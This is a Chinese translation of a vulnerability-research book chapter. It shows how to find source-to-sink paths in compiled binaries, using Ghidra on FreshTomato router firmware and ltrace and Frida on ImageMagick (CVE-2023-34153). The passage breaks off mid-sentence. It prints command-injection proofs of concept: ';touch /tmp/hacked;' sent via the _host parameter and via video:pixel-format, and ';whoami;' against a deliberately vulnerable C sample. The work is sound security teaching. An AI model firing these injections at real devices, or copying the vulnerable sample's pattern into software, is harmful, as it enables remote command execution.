从零基础到零日漏洞——源与汇点发现

133 阅读20分钟

尽管基于脚本的框架如 Electron 很受欢迎,但由于实际和历史原因,你遇到的大量二进制文件实际上是被编译为机器码的。即便有最好的伪代码生成器,分析更复杂的二进制文件依然很困难。除非你是经验丰富的逆向工程师,否则在成百上千个混淆函数中寻找漏洞可能是极其耗时和艰难的工作。

在这种情况下,优先级排序非常关键。本章中,你将运用静态和动态分析策略来识别已编译机器码二进制中的“源”(source)和“汇”(sink)。你还将学习如何高效追踪源与汇之间的路径,重新发现 FreshTomato 路由器固件和 ImageMagick 图像处理库中的漏洞。虽然这些是开源项目,但你会先以黑盒视角进行分析,然后再将发现与实际源代码进行对比。过程中,你还会评估发现的源到汇路径的可利用性,从而确定它们是否构成实际漏洞。

静态分析

静态分析是指在不执行软件的情况下进行分析,通常是逆向工程的起点。逆向工程师之间常有一句玩笑话,说 90% 的工作是在 IDA Pro 中狂按 X 键,该键会列出反汇编中对某个函数或变量的引用列表。这是一种常用的“汇到源”追踪策略,不同的是,这里你不是在源代码中操作(如第一章所述),而是在反汇编器或反编译器中操作。撇开玩笑不谈,这种方法在安全防护较弱的软件上往往非常有效。

你可以用 FreshTomato 测试这种方法。FreshTomato 是一个基于 Broadcom 芯片组的开源路由器固件。与上一章探索的二进制不同,该固件是为 ARM 和 MIPS 架构编译的,这两种架构使用的指令集与桌面和服务器常用的 x86 和 x86-64 不同。固件二进制中经常遇到这些架构,因为这些设备通常需要更高的能效。

freshtomato.org/downloads/f… 下载 AC1450 路由器的 2022.5 版本固件。解压后,你会得到 changelog、README 文件和一个 .trx 文件(TRX 是 Broadcom 设备固件更新的知名文件格式)。

你可以使用 Binwalk 来解包 .trx 文件。Binwalk 是一个提取固件镜像的工具。鉴于其各种依赖,使用 Kali Linux 发行版中自带的版本会更方便。注意,你还需要安装 Sasquatch 工具来处理 SquashFS 压缩文件系统格式,因为 Binwalk 依赖它来完成部分解包操作。Kali 中 Sasquatch 的构建过程有一些问题,研究员 Pavel Pi 已记录并分享了解决方案,下面的命令可以帮助你正确安装 Sasquatch:

$ sudo apt-get update
$ sudo apt-get install build-essential liblzma-dev liblzo2-dev zlib1g-dev
$ git clone https://github.com/devttys0/sasquatch && cd sasquatch
$ ADDLINE="sed -i 's/-Wall -Werror/-Wall/g' patches/patch0.txt"
$ sed -i "/^tar -zxvf.*/a $ADDLINE" ./build.sh
$ CFLAGS=-fcommon ./build.sh

安装完成后,可以使用 Binwalk 的提取(-e)和递归(-M)选项来解包固件:

$ unzip freshtomato-AC1450-ARM_NG-2022.5-AIO-64K.zip
$ binwalk -eM freshtomato-AC1450-ARM_NG-2022.5-AIO-64K.trx
$ ls -l _freshtomato-AC1450-ARM_NG-2022.5-AIO-64K.trx.extracted/squashfs-root

squashfs-root 文件夹包含路由器固件加载时的文件系统映像。绘制路由器攻击面时,首选的目录是 /www/var/www,因为这些目录通常存放路由器管理网页界面所用的脚本和二进制文件。

不过在此案例中,www 目录只包含 .asp.js.css 文件,这些主要负责网页界面渲染视图,而不包含服务器端业务逻辑。你还可以寻找名为 httpd 的二进制文件,它代表“超文本传输协议守护进程”(web 服务器)。

与 Apache(也使用 httpd 进程名)或 Nginx(使用 nginx)等更复杂的 Web 服务器不同,固件中的 httpd 二进制文件往往是完全自包含的,内部硬编码了路由和业务逻辑。这是因为路由器及其他硬件设备的空间和计算能力有限。快速搜索后确认,该二进制文件确实存在于 usr/sbin/httpd

字符串提取

即使还未使用反汇编器,你也应该先检查二进制文件中的可打印字符串。你可以尝试另一个惊人有效的技巧:使用 strings 命令。清单 5-1 展示了对 httpd 二进制文件运行该命令后返回结果中的部分内容。

$ strings ./squashfs-root/usr/sbin/httpd
--省略--
fgets
get_wanfaces
➊ system
--省略--
➋ Content-Type: %s
Cache-Control: max-age=%d
Cache-Control: no-cache, no-store, must-revalidate, private
Expires: Thu, 31 Dec 1970 00:00:00 GMT
Pragma: no-cache
Connection: close
<html><head><title>Error</title></head><body><h2>%d %s</h2> %s</body></html>
--省略--
➌ grep -ih "%s" $(ls -1rv %s %s.*)
which
cat $(ls -1rv %s %s.*) | tail -n %d
--省略--
➍ cfg/restore.cgi
cfg/defaults.cgi
stats/*.gz

清单 5-1:httpd 中部分字符串输出

这些字符串表明该二进制文件处理路由器管理界面的 Web 服务器功能,并暗示了一些潜在的易攻击点。首先,它包含一些有趣的源函数和汇函数名,如 system ➊,该函数能直接执行 shell 命令;还包含 HTTP 响应中使用的格式化字符串 ➋。其次,shell 命令中也用到了格式化字符串 ➌,这表明这些汇函数可能被攻击者控制。最后,文件中还包含了 Web 服务器中可能访问的路由路径 ➍。

通过简单搜索,你已能定位多个值得深入调查的点。接下来,我们进入反汇编步骤。

使用 Ghidra 进行反汇编和反编译

在第四章你已经熟悉了 Ghidra 的 CodeBrowser。现在,将用它做更深入的静态分析。CodeBrowser 能将机器码反汇编成人类可读的汇编代码,再反编译成更高级的伪代码。

在 Ghidra 中新建项目并添加 httpd 二进制文件,打开后,分析器会跳转到程序入口点。对于较小的二进制文件,可以直接从这里开始分析,但对于较大的文件,使用“汇到源”的逆向分析策略往往更有效。该策略从定位危险的库函数调用开始。

在 CodeBrowser 左侧窗口,你会看到一个符号树面板,里面树形显示了程序中的符号。虽然有个“Functions”文件夹,但它只包含程序内部定义的函数符号。

相反,应查看“Imports”文件夹,它列出了外部库的符号。展开后会看到 libc.so.0、libmssl.so 等外部库,以及一个名为 <EXTERNAL> 的抽象文件夹,它用来存放尚未关联到具体库的外部符号。

有趣的是,展开这些外部库文件夹后,发现它们没有导入的函数,只有 <EXTERNAL> 里包含一些符号(例如 C 标准库的 getpid)。这是怎么回事?

首先,尝试导出二进制的符号表:

$ objdump -t httpd

httpd:     file format elf32-little

SYMBOL TABLE:
no symbols

没有符号表条目,说明二进制文件被剥离(stripped)。用 file 命令快速确认:

$ file usr/sbin/httpd
usr/sbin/httpd: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV),
dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped

该二进制既是动态链接的,也是剥离了符号信息的。这种情况在存储空间受限的设备固件中很常见,因为这两者都有助于减小二进制文件大小。你需要查看动态符号表:

$ objdump -T httpd

httpd:     file format elf32-little

DYNAMIC SYMBOL TABLE:
0000a504      DF *UND*  00000000              get_wan6face
0000a510      DF *UND*  00000000              rewind
0000a51c      DF *UND*  00000000              bind
00000000  w   D  *UND*  00000000              __register_frame_info
0000a534      DF *UND*  00000000              getNVRAMVar
0000a540      DF *UND*  00000000              strftime
0000a54c      DF *UND*  00000000              mssl_init

这解释了为什么 Ghidra 中的符号树将导入符号放在了 <EXTERNAL> 文件夹。

浏览函数时,你会发现两个可能存在命令注入漏洞的函数:popensystem。这两个函数都会将第一个参数作为 shell 命令在新进程中执行,相当于执行 /bin/sh -c

鉴于路由器管理 Web 界面涉及许多系统功能,服务器使用这些库函数也不足为奇。事实上,如果你只关注多款路由器固件中的 popensystem 函数调用,很可能发现多个命令注入漏洞。

“X marks the spot”(X 标记位置)指的是 IDA Pro 中快捷键 X 的用法,而 Ghidra 中显示符号引用的快捷键是 CTRL-SHIFT-F。但在符号树中选中 popen 并执行该操作时,只返回了指向自身的引用。这是因为动态链接符号在反编译器中表现为“thunk 函数”,表示运行时外部加载的函数。在 Ghidra 中表现为:

thunk FILE * popen(char * __command, char * __modes)
    Thunked-Function: <EXTERNAL>::popen
    FILE *            r0:4           <RETURN>
    char *            r0:4           __command
    char *            r1:4           __modes
    <EXTERNAL>::popen

选中 <EXTERNAL>::popen,使用快捷键(或右键选择 References ► Show References to popen),能看到程序中对实际外部 popen 函数的调用:

0000e970  bl <EXTERNAL>::popen UNCONDITIONAL_CALL
0000f098  bl <EXTERNAL>::popen UNCONDITIONAL_CALL
0000f118  bl <EXTERNAL>::popen UNCONDITIONAL_CALL
00011748  bl <EXTERNAL>::popen UNCONDITIONAL_CALL
00013d64  bl <EXTERNAL>::popen UNCONDITIONAL_CALL
0001ad1c  bl <EXTERNAL>::popen UNCONDITIONAL_CALL

定位了潜在危险的汇函数调用后,你可以开始追踪这些调用对应的攻击者可控源。逆向工程二进制文件时,需要根据上下文线索(如日志信息)合理推断某函数或变量的作用,也可以结合动态分析观察函数行为。

认真考虑程序的目的。这里是一个处理 HTTP 请求和响应的 Web 服务器,处理 HTTP 请求的函数会解析 HTTP 相关字符串,返回响应时也会输出 HTTP 相关字符串。所以,在从潜在汇函数如 popen 向上追溯时,要留意这些字符串。常见的 HTTP 相关字符串包括:

  • HTTP 方法,如 GET、POST、PUT、PATCH、DELETE 和 HEAD
  • 与前端 HTML 表单字段或 JavaScript 代码匹配的请求参数
  • HTTP 请求和响应的 Content-Type,如 text/plain、application/json、application/x-www-form-urlencoded
  • Web 服务器中有效路由对应的 URI 路径
  • 其他请求/响应头,如 Authorization、Host、User-Agent、Date、Access-Control-Allow-Origin

遍历 popen 的各种引用,发现函数 FUN_0001abc0 中最后一个引用(地址 0x0001ad1c)似乎在获取请求参数,如清单 5-2 所示:

void FUN_0001abc0(void)
{
    --省略--
    pcVar1 = (char *)FUN_0000cfdc("_port");
    if (pcVar1 == (char *)0x0) {
        pcVar1 = "5201";
    }
    iVar2 = atoi(pcVar1);
    pcVar1 = (char *)FUN_0000cfdc("_udpProto");
    if (pcVar1 == (char *)0x0) {
        pcVar1 = "0";
    }
    puVar3 = (undefined *)atoi(pcVar1);
    pcVar1 = (char *)FUN_0000cfdc("_limitMode");
    if (pcVar1 == (char *)0x0) {
        pcVar1 = "0";
    }
    iVar4 = atoi(pcVar1);
    pcVar1 = (char *)FUN_0000cfdc("_limit");
    if (pcVar1 == (char *)0x0) {
        pcVar1 = "10";
    }
    uVar8 = strtoull(pcVar1,(char **)0x0,0);
    pcVar1 = (char *)FUN_0000cfdc("_mode");
    if ((pcVar1 != (char *)0x0) && (*pcVar1 != '\0')) {
    --省略--
}

字符串 _port_udpProto_limitMode_limit 都是请求参数,且它们共享模式:作为参数传给 FUN_0000cfdc,返回值会检查是否为空,若为空则赋默认值。查看 FUN_0000cfdc 的伪代码:

int FUN_0000cfdc(ACTION param_1,undefined4 param_2)
{
    ENTRY __item;
    ENTRY **unaff_r4;
    int unaff_r5;

    if (DAT_00030c8c == 0) {
        unaff_r5 = 0;
    }
    else {
        __item.data = (void *)param_2;
        __item.key = (char *)&DAT_00030c8c;
      ➊ hsearch_r(__item,param_1,unaff_r4,(hsearch_data *)0x0);
        if (unaff_r5 != 0) {
            unaff_r5 = *(int *)(unaff_r5 + 4);
        }
    }
    return unaff_r5;
}

该函数调用了 C 标准库的 hsearch_r ➊,执行哈希表查找,符合根据键获取参数值的逻辑。IDA Pro 如果有相关签名,可以自动识别它为 WebsGetVar,即从 HTTP GET 请求中获取参数。

不过,这类签名不一定总能用。你可以在固件其余部分搜索可能的 HTTP 请求参数字符串。为减少误报,选择更独特的字符串,如 _limitMode,而非 _port,结果除了 httpd 外还有一个:

$ grep -r "_limitMode" .
grep: ./usr/sbin/httpd: binary file matches
./www/tools-iperf.asp:+ '&_limitMode=' + (limitMode ? '1' : '0')

_limitMode 出现在 tools-iperf.asp 文件中,这是用于动态生成网页的 Active Server Pages (ASP) 文件,类似于 Java 的 Jakarta Server Pages (JSP)。虽然 ASP 文件多见于 IIS 服务器,但固件如 FreshTomato 支持有限的 ASP 语法和功能也并非不可能。

重要的是,_limitMode 出现在 Web 界面生成视图的文件中,说明它是合法的请求参数。查看 tools-iperf.asp 中的 runButtonClick 函数:

function runButtonClick() {
 ➊ var requestCommand = new XmlHttp();
    requestCommand.onCompleted = function(text, xml) {
        execute();
    }
    requestCommand.onError = function(x) {
        E('test_status').innerHTML = 'ERROR: ' + x;
        execute();
    }
    if (iperf_up == 1) {
        requestCommand.post('iperfkill.cgi', '');
    } else {
        var transmitMode = E('iperf_transm').checked == true;
        var limitMode = E('iperf_size_limited').checked == true;
        var limit = E(limitMode ? 'byte_limit' : 'time_limit').value;
        var udpProtocol = E('iperf_proto_udp').checked == true;
        var ttcpPort = E('iperf_port').value;
        var paramStr = '_mode=' + (transmitMode ? 'client' : 'server') +
            '&_udpProto=' + (udpProtocol ? '1' : '0') +
            '&_port=' + ttcpPort +
         ➋ '&_limitMode=' + (limitMode ? '1' : '0') +
            '&_limit=' + limit;
        if (transmitMode) {
            paramStr += '&_host=' + E('iperf_addr').value;
        }
     ➌ requestCommand.post('iperfrun.cgi', paramStr);
    }
    E('test_status').innerHTML = '';
    E('test_xfered').innerHTML = '';
    E('test_time').innerHTML = '';
    E('test_speed').innerHTML = '';
}

该函数将 XmlHttp() 赋值给 requestCommand 变量 ➊,表明要发起 HTTP 请求。随后,拼接包含 _limitMode 的参数字符串 paramStr ➋,确认其为有效请求参数。最终发出一个 POST 请求到 iperfrun.cgi 路径 ➌。

因为 FUN_0001abc0 中的潜在参数字符串与 requestCommand 发送的参数匹配,合理推断该函数处理对 iperfrun.cgi 的请求。但这还未确认漏洞可利用性。

检查 FUN_0001abc0_port_udpProto_limitMode 参数的解析过程,会发现字符串值都用 atoistrtoull 转换为整数或无符号长整型,这意味着可控输入被严重限制。

幸运的是,并非完全无路可走。你可以先用 Ghidra 的 L 键快捷键重命名这些解析后的参数变量名,然后查看 FUN_0001abc0 的其余代码。

pcVar1 = (char *)FUN_0000cfdc("_mode");
   if ((pcVar1 != (char *)0x0) && (*pcVar1 != '\0')) {
       snprintf(acStack_a0,0x80,"%d",_portValue);iVar2 = strcmp(pcVar1,"server");
       if (iVar2 == 0) {
        ➌ snprintf(acStack_1a0,0x100,
                   "iperf -J --logfile /tmp/iperf_log --intervalfile \t\t\t
                   /tmp/iperf_interval - I /var/run/iperf.pid -s -1 -D -p %d"
                   ,_portValue);
       }
       else {
        ➍ pcVar1 = (char *)FUN_0000cfdc("_host");
           if ((pcVar1 != (char *)0x0) && (*pcVar1 != '\0')) {
               puVar4 = _udpProtoValue;
               if (_udpProtoValue == (undefined *)0x1) {
                   puVar4 = &UNK_000281d1;
               }
               puVar3 = &UNK_000281d4;

               if (_udpProtoValue != (undefined *)0x1) {
                   puVar4 = &DAT_0001b232;
               }
               if (_limitModeValue != 1) {
                   puVar3 = &UNK_000281d7;
               }
            ➎ snprintf(acStack_1a0,0x100,
                        "iperf -J --logfile /tmp/iperf_log --intervalfile
                        \t\t\t\t /tmp/iperf_interv al -p %d %s %s %llu -c %s &"
                        ,_portValue,puVar4,puVar3,_limitValue,pcVar1);
           }
       }
    ➏ __stream = popen(acStack_1a0,"r");
       pclose(__stream);
   }

首先,解析 _mode 参数 ➊ 并与字符串 "server" 比较 ➋。若匹配,则将参数值插入格式字符串 ➌。最终字符串传入 popen ➏。但正如之前所说,所有潜在攻击者可控输入均受限于整数或固定字符串 "server",因此此路径不可被利用。

但如果 _mode 参数值不为 "server",则解析并使用另一个参数 _host ➍,将其加入最终传给 popen 的格式字符串 ➎。攻击者可通过发送形如 ;touch /tmp/hacked;_host 参数成功注入任意 shell 命令。

注意

该版本 FreshTomato 中存在其他命令注入漏洞,试着找找看!提示:从引用了 popen 的函数 FUN_00013d58 开始。虽然它看起来不像请求处理函数,但它作为 popen 的包装器,被许多请求处理函数调用。看看是否能从中找到已知的 CVE 漏洞。

本练习展示了即便在复杂的程序如路由器固件中,“X marks the spot”(标记关键点)策略依然威力巨大。结合前后端的静态分析,可以拼凑线索实现无源码情况下的汇到源追踪。

动态分析

到目前为止,你一直只依赖静态分析。对于小型二进制文件,这种方法相对容易处理,但当面对大型可执行文件时,静态分析就变得不太实用了。比如,微软 Word 这类桌面软件,通常会导入数百个库,包含数千个难以轻易逆向的指令块。在这种情况下,动态分析可能更适合。

动态分析不同于静态分析,它是通过实际执行程序来观察其运行时行为,而不是单纯分析静态的编译二进制文件。动态分析的一个优势是它减少了静态分析中大量的猜测和不确定性。

动态分析能够提供实际运行时的行为洞察,比如内存中变量的真实值,而不需要基于对汇编指令或伪代码的有限理解做猜测。你可以用调试器快速定位实际执行的指令。但缺点是,你必须能够先执行该程序。如果缺少必要的库文件,或者目标程序运行于不同的处理器架构,你就必须使用模拟器,并采用一些权宜之计,比如模拟库函数调用。

为了练习动态分析,你将重新发现 ImageMagick(一款流行的图像处理程序)中的一个命令注入漏洞(CVE-2023-34153)。在 Linux 平台,ImageMagick 以 AppImage 形式发布,其中包含了带有所有依赖库的压缩文件系统。你可以从 GitHub 仓库下载一个易受攻击的版本,地址是:github.com/ImageMagick…。由于你需要直接动态分析 magick 二进制文件,而不是 AppImage 本身,因此需要先解压这个压缩文件系统。操作如下:

$ chmod +x ImageMagick--gcc-x86_64.AppImage
$ ./ImageMagick--gcc-x86_64.AppImage --appimage-extract

此操作会在当前工作目录下解压出一个 squashfs-root 文件夹,里面包含了所有必要的依赖和目标 magick 二进制文件。准备工作完成后,就可以开始动态分析了。

跟踪库调用和系统调用

几乎所有程序都需要调用导入的库函数。通过分析这些调用,你可以对程序的内部运作获得一些洞察。对于动态链接的二进制文件,你可以用 ltrace 来截获这些调用。根据其文档:

ltrace 是一个程序,它运行指定的命令直到其退出。它会截获并记录被执行进程调用的动态库函数,以及该进程接收到的信号。它也可以截获并打印程序执行的系统调用。

ltrace 在底层通过在库函数调用的存根处插入断点,当断点触发时截获每个库函数调用及其参数。你可以通过示例 5-3(本书代码仓库中也有)测试这一点。

// hello-vuln.c
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[]) {
    char name[30];
    char command[100];

    printf("Enter your name: ");
    scanf("%s", name);
    snprintf(command, sizeof(command), "echo Hello, %s", name);

    int result = system(command);

    return result;
}

示例 5-3:一个用 C 写的存在漏洞的简单程序示例

这个程序危险地将用户输入直接传递给 system 调用。正常使用时表现正常:

$ gcc -o hello-vuln hello-vuln.c
$ ./hello-vuln
Enter your name: Raccoon
Hello, Raccoon

但由于命令注入漏洞,攻击者可以利用它执行任意 shell 命令:

$ ./hello-vuln
Enter your name: ;whoami;
Hello,
kali

如何用动态分析检测该漏洞?ltrace 是检测用户输入是否传入库函数调用的好工具。用一个标记(canary)输入运行 ltrace,再检查输出中是否出现该标记:

$ ltrace ./hello-vuln >/dev/null
printf("Enter your name: ")                                = 17
canary123
__isoc99_scanf(0x55663b7f3016, 0x7fff69c19ad0, 0, 0)       = 1
snprintf("echo Hello, canary123", 100, "echo Hello, %s", "canary123") = 21system("echo Hello, canary123" <no return ...>
--- SIGCHLD (Child exited) ---
<... system resumed> )                                     = 0
+++ exited (status 0) +++

这段输出跟踪了 snprintf 和 system 的调用,包含了它们的实际参数和返回值。如果这是个真实程序,你可以马上锁定使用了 canary 标记的 system 调用 ➊。

接下来,通过改变输入并观察 ltrace 中危险调用的最终参数,可以测试是否存在命令注入。任何对攻击者输入的过滤、拼接或修改都会在 ltrace 日志中体现,从而可以动态测试各种绕过方式和组合。

除了库函数调用,ltrace 还能跟踪系统调用。系统调用不同于库调用,它们是操作系统核心服务(如文件 I/O、进程创建)的接口,执行在内核态,而库函数运行于用户态。当然,库函数也会调用系统调用。

你可以用 ltrace 的 -S 参数跟踪程序的系统调用。由于输出量大,建议将结果写入文件而非直接打印,并用 -f 参数跟踪子进程(如 system 调用创建的进程):

$ ltrace -o ltrace.txt -f -S ./hello-vuln >/dev/null
$ cat ltrace.txt
--省略部分--2785318 printf("Enter your name: " <unfinished ...>
2785318 newfstatat@SYS(1, "", 0x7fffb0d03a40, 0x1000)
➋ 2785318 ioctl@SYS(1, 0x5401, 0x7fffb0d039a0, 4096)
2785318 getrandom@SYS(0x7f8c09700178, 8, 1, 4096)
2785318 brk@SYS(nil)
2785318 brk@SYS(0x56035aa78000)
➌ 2785318 <... printf resumed> )
2785318 __isoc99_scanf(0x560359899016, 0x7fffb0d03e50, 0, 0 <unfinished ...>
2785318 newfstatat@SYS(0, "", 0x7fffb0d034d0, 0x1000)
2785318 read@SYS(0, "canary\n", 1024)
2785318 <... __isoc99_scanf resumed> )
2785318 snprintf("echo Hello, canary", 100, "echo Hello, %s", "canary")
➍ 2785318 system("echo Hello, canary" <unfinished ...>
--省略部分--
2785360 execve@SYS("/bin/sh", 0x7fffb0d03a70, 0x7fffb0d03fa8 <no return ...>
--省略部分--
2785318 <... system resumed> )

系统调用在输出中带有 @SYS 后缀(不同版本中可能是 SYS_ 前缀)。注意许多函数调用旁边有 <unfinished ...>,表示它们正等待某些操作完成(比如系统调用)。例如,printf 函数调用 ➊ 会发起多个系统调用,比如带有标准输出文件描述符 1 的 ioctl ➋,用于向标准输出写字符串,写完后函数调用才完成 ➌。

system 函数调用 ➍ 也是类似的。根据 Linux 手册,system 调用的行为是“仿佛它使用 fork(2) 创建了一个子进程,然后使用 execl(3) 执行 shell 命令,具体调用形式为 execl("/bin/sh", "sh", "-c", command, (char *) NULL);”

分析 ImageMagick 中的库函数调用

你可以将跟踪库函数调用的方法应用于 ImageMagick。在动态分析中,通常会执行程序的常用功能,以观察它所发起的各种库函数和系统调用。对于命令行界面程序,这包括尝试使用各种可用的选项和模式。例如,ImageMagick 支持一个名为 define 的命令行选项,允许用户配置图像处理操作,比如 video:pixel-format。

首先,下载一个示例 MOV 文件供 ImageMagick 使用,如下面 wget 命令所示。接着,在你解压 ImageMagick AppImage 内容的同一目录下,使用 ltrace 对 magick 二进制文件执行,且在 pixel-format 参数中传入一个标记(canary)值。加上 -s 1024 选项,指定打印的最大字符串长度;该选项默认是 32,默认值可能导致较长字符串被截断,进而漏掉重要参数值:

$ wget https://raw.githubusercontent.com/spaceraccoon/from-day-zero-to-zero-day/refs/heads/main/chapter-05/example.mov
$ ltrace -o ltrace.txt -f -S -s 1024 ./squashfs-root/usr/bin/magick identify -define video:pixel-format='canary123' example.mov
sh: 1: ffmpeg: not found
identify: UnableToOpenConfigureFile `delegates.xml' @ warning/configure.c/GetConfigureOptions/722.

这个错误信息很有意思,它提示 ImageMagick 试图用 sh 执行 ffmpeg 命令,但失败了,因为 PATH 中找不到 ffmpeg。此时你应该警觉,怀疑可能存在命令注入漏洞。要了解内部发生了什么,可以在跟踪日志中 grep 查找 ffmpeg 或你的标记 canary123:

$ grep -E 'ffmpeg|canary123' ltrace.txt
2780743 strlen("'ffmpeg' -nostdin -loglevel error -i '/tmp/magick-NdheoaTWLtkBKDzS6DYe4cOueEjokeel' -an -f rawvideo -y  -pix_fmt canary123 -vcodec webp '/tmp/magick-SQpXJBs9cwRKgJpskeuIx_L5711HIKUP'") = 182
2780743 memcpy(0x55b83e2767e8, "'ffmpeg' -nostdin -loglevel error -i '/tmp/magick-NdheoaTWLtkBKDzS6DYe4cOueEjokeel' -an -f rawvideo -y  -pix_fmt canary123 -vcodec webp '/tmp/magick-SQpXJBs9cwRKgJpskeuIx_L5711HIKUP'\0", 183) = 0x55b83e2767e8
2780743 strlen("'ffmpeg' -nostdin -loglevel error -i '/tmp/magick-NdheoaTWLtkBKDzS6DYe4cOueEjokeel' -an -f rawvideo -y  -pix_fmt canary123 -vcodec webp '/tmp/magick-SQpXJBs9cwRKgJpskeuIx_L5711HIKUP'") = 182

这看起来非常有希望,确实存在一个包含你的标记的 shell 命令字符串。但该字符串只出现在 strlen 或 memcpy 这类函数调用中,而不是像 system 这样执行命令的函数中。不过,如果你继续往上看日志,会看到:

2782681 brk@SYS(nil)
2782681 mmap@SYS(nil, 8192, 3, 34, -1, 0)
--省略--
➊ 2782682 execve@SYS("/bin/sh", 0x7ffe2a7a4060, 0x7ffe2a7af208 <no return ...>
2782682 --- Called exec() ---
2782681 <... clone3 resumed> )

execve 调用附近的调用模式与 hello-vuln 示例类似。但 ltrace 也跟踪了 hello-vuln 的系统调用。如果检查这两个二进制中常见 shell 命令执行函数的符号,会发现 magick 并没有直接加载这些符号:

$ objdump -Tt ./hello-vuln | grep -E 'exec|system|popen'
0000000000000000       F *UND*  0000000000000000            system@GLIBC_2.2.5
0000000000000000      DF *UND*  0000000000000000 (GLIBC_2.2.5) system

$ objdump -Tt ./squashfs-root/usr/bin/magick | grep -E 'exec|system|popen'
# 无输出

这是因为 ImageMagick 并未直接导入这些函数,而是通过 squashfs-root/usr/lib 目录下的 libMagickCore-7.Q16HDRI.so.10.0.1 库从 libc.so.6 导入的。该库导出了一些 ImageMagick 使用的包装函数:

$ objdump -Tt ./squashfs-root/usr/lib/libMagickCore-7.Q16HDRI.so.10.0.1 | grep -E 'exec|system|popen'
0000000000000000      DF *UND*  0000000000000000 (GLIBC_2.2.5) popen
0000000000000000      DF *UND*  0000000000000000 (GLIBC_2.2.5) execvp
0000000000000000      DF *UND*  0000000000000000 (GLIBC_2.2.5) system

要正确跟踪这些库函数,需要使用 ltrace 的过滤选项来扩大捕获的调用范围。手册中指出,可以使用以下选项:

  • -x 显示调用这些符号(包括本地调用)的函数
  • -e 显示调用这些符号的函数(仅库间调用)
  • -l 显示调用该库的函数

-x 选项跟踪 popen 调用:

$ ltrace -x 'popen' -o ltrace.txt -f -S -s 1024 ./squashfs-root/usr/bin/magick identify -define video:pixel-format='canary123' example.mov
sh: 1: ffmpeg: not found
identify: UnableToOpenConfigureFile `delegates.xml' @ warning/configure.c/GetConfigureOptions/722.
$ grep ffmpeg ltrace.txt
2787837 popen@libc.so.6("'ffmpeg' -nostdin -loglevel error -i '/tmp/magick-4v08-z3RT252MF305Ftxn2EFudPmQuy9' -an -f rawvideo -y  -pix_fmt canary123 -vcodec webp '/tmp/magick-KKDEsZhEeOqrhRYx_HDg5i2k-QEGQExO'", "r" <unfinished ...>

这说明同时记录系统调用和库调用并跟踪子进程非常重要。根据过滤规则,有时库调用可能没被捕获,但较底层的系统调用很难被遗漏。但对于闭源程序,除非做更深入的静态分析,否则你无法知道应该指定哪些过滤规则。

既然 execve 系统调用是由于包含 ffmpeg 命令字符串的参数传递给了 popen,就存在攻击者操控标记值来利用命令注入漏洞的可能。

你可能会问,在本地命令行程序如 ImageMagick 中发现命令注入漏洞有什么用?实际上,Web 应用经常使用 ImageMagick 处理图片,因此该漏洞在某些场景下可能远程可利用。例如,如果 Web 应用开放了图像编辑功能,允许用户控制直接传给 ImageMagick 的各种选项,攻击者就能借此漏洞实现远程代码执行。

一种可能的漏洞利用方法是使用分号(;)shell 命令分隔符跳出 ffmpeg 命令,比如将 video:pixel-format 设为 ;touch /tmp/hacked;

执行这个概念验证,并通过检查日志确认命令被执行:

$ ls /tmp/hacked
ls: cannot access '/tmp/hacked': No such file or directory

$ ltrace -o ltrace.txt -f -S -s 1024 ./squashfs-root/usr/bin/magick identify -define video:pixel-format=';touch /tmp/hacked;' example.mov
sh: 1: ffmpeg: not found
sh: 1: -vcodec: not found
identify: UnableToOpenConfigureFile `delegates.xml' @ warning/configure.c/GetConfigureOptions/722.

$ ls /tmp/hacked
/tmp/hacked

$ grep '/tmp/hacked' ltrace.txt
2788520 strlen("'ffmpeg' -nostdin -loglevel error -i '/tmp/magick-a8sDn71godWBu8nqXCyk6oc5Cpg3yuEx' -an -f rawvideo -y  -pix_fmt ;touch /tmp/hacked; -vcodec webp '/tmp/magick-Cu8aLs5H9WT4KRUPPWUuAreHG36iXd93'")
2788520 memcpy(0x5646d9b497e8, "'ffmpeg' -nostdin -loglevel error -i '/tmp/magick-a8sDn71godWBu8nqXCyk6oc5Cpg3yuEx' -an -f rawvideo -y  -pix_fmt ;touch /tmp/hacked; -vcodec webp '/tmp/magick-Cu8aLs5H9WT4KRUPPWUuAreHG36iXd93'\0", 193)
2788520 strlen("'ffmpeg' -nostdin -loglevel error -i '/tmp/magick-a8sDn71godWBu8nqXCyk6oc5Cpg3yuEx' -an -f rawvideo -y  -pix_fmt ;touch /tmp/hacked; -vcodec webp '/tmp/magick-Cu8aLs5H9WT4KRUPPWUuAreHG36iXd93'")
2788520 strcspn("/tmp/hacked", "\210\203\201\202\204\206\207")
2788521 open("/tmp/hacked", 2369, 0666 <unfinished ...>
2788521 openat@SYS(AT_FDCWD, "/tmp/hacked", 0x941, 0666)

如预期,执行的命令中包含了分号 shell 命令分隔符,最终导致 /tmp/hacked 被创建(见 open 系统调用)。任务完成!

虽然观察程序传入的标记值的库函数调用和系统调用可以发现很多漏洞,但 ltrace 功能有限,仅能拦截并打印调用。若需动态挂钩和修改特定调用,你需要使用其他工具。

使用 Frida 对函数进行插桩

Frida 是一个动态代码插桩工具包,允许用户向多个平台上的本地应用注入 JavaScript 代码。这样,用户就可以使用便捷的 JavaScript API 读取或修改内存中的值。虽然传统调试器也支持一定程度的脚本编写,但在 Frida 中,脚本是一级公民,支持快速迭代动态分析测试。

安装 Frida 并对之前的 hello-vuln 示例运行它。你无需直接编写插桩脚本,而是可以用 frida-trace 自动生成钩子函数的脚本。默认情况下,这些脚本会简单打印函数调用及其参数:

$ sudo pip install frida-tools
$ frida-trace -i "system" ./hello-vuln ➊
Instrumenting...
system: Auto-generated handler at "/home/kali/Desktop/hello-vuln/__handlers__/libc.so.6/system.js" ➋
Enter your name: Started tracing 1 function. Press Ctrl+C to stop.
canary123
Hello, canary123
/* TID 0xd8e1a */
    4138 ms  system(command="echo Hello, canary123") ➌
Process terminated

当你指定追踪 system 调用 ➊ 时,frida-trace 会自动定位该函数并生成一个 JavaScript 处理器脚本 ➋,并注入进程。这个处理器会在 hello-vuln 调用 system 并被 Frida 截获时执行 ➌。

看一下自动生成的 JavaScript 文件内容,了解这个处理器在做什么:

/*
 * Auto-generated by Frida. Please modify to match the signature of system.
 * This stub is currently auto-generated from manpages when available.
 *
 * For full API reference, see: https://frida.re/docs/javascript-api/
 */

{
    onEnter(log, args, state) {
        log(`system(command="${args[0].readUtf8String()}")`);
    },

    onLeave(log, retval, state) {
    }
}

该脚本在执行被拦截函数前调用 onEnter 处理器,简单打印第一个参数;而 onLeave 处理器暂时为空。你可以将

log(`system returned ${retval}`);

